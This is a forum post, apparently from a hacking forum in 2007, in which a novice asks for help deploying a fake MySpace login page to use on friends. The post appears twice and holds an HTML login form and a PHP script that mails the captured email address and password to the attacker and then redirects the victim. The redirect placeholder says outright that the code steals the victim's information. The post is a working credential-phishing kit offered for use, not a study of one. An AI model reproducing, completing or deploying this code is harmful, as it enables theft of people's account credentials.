b52_00
03-26-2007, 01:21 PM
Whatz up to all the people in Rohittab,
Noob here please go light, I have a situation here that I'm trying to work out.. to cut to the chase I want to make a fake login myspace for self education on how it's done and also to mess with friends that have myspace.. I have a good understandings in HTML and very little with PHP.. theres two codes that I have found through out the researching I have been doing in Rohitab/search form ( I will put them up down below) in the PHP codes I see that theres a couple of blanks that has to be filled out / email,the subject and locations, now for the ones that have the $post blank and $post blank what goes in there? once I'm done filling the blanks out were exactly do I put the PHP code and blank HTML in the myspace codes....Please help me it's driving me up the wall....
<form method="POST" action="mailer.php">
E-mail<input type="text" name="email" size="**"><br>
<br>
Password<input type="password" name="message" size="**"><br>
<br>
<br>
<br>
<input type="Submit" value="Submit" name="Submit">
</form>
<?php
if(isset($_POST['submit'])) {
$to = "YOUR_EMAIL_HERE@SOMETHING.COM";
$subject = "THE SUBJECT HERE!";
$email_field = $_POST['email'];
$message = $_POST['message'];
$body = " E-Mail: $email_field\n Password:\n $message";
mail($to, $subject, $body);
header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");
} else {
header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");
}
?>
Noob here please go light, I have a situation here that I'm trying to work out.. to cut to the chase I want to make a fake login myspace for self education on how it's done and also to mess with friends that have myspace.. I have a good understandings in HTML and very little with PHP.. theres two codes that I have found through out the researching I have been doing in Rohitab/search form ( I will put them up down below) in the PHP codes I see that theres a couple of blanks that has to be filled out / email,the subject and locations, now for the ones that have the $post blank and $post blank what goes in there? once I'm done filling the blanks out were exactly do I put the PHP code and blank HTML in the myspace codes....Please help me it's driving me up the wall....
<form method="POST" action="mailer.php">
E-mail<input type="text" name="email" size="**"><br>
<br>
Password<input type="password" name="message" size="**"><br>
<br>
<br>
<br>
<input type="Submit" value="Submit" name="Submit">
</form>
<?php
if(isset($_POST['submit'])) {
$to = "YOUR_EMAIL_HERE@SOMETHING.COM";
$subject = "THE SUBJECT HERE!";
$email_field = $_POST['email'];
$message = $_POST['message'];
$body = " E-Mail: $email_field\n Password:\n $message";
mail($to, $subject, $body);
header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");
} else {
header("Location: http://www.THE_SITE_YOU_WANT_THEM_DIRECTED_TO_AFTER_YOU_STEAL_THEIR_INFO.com/");
}
?>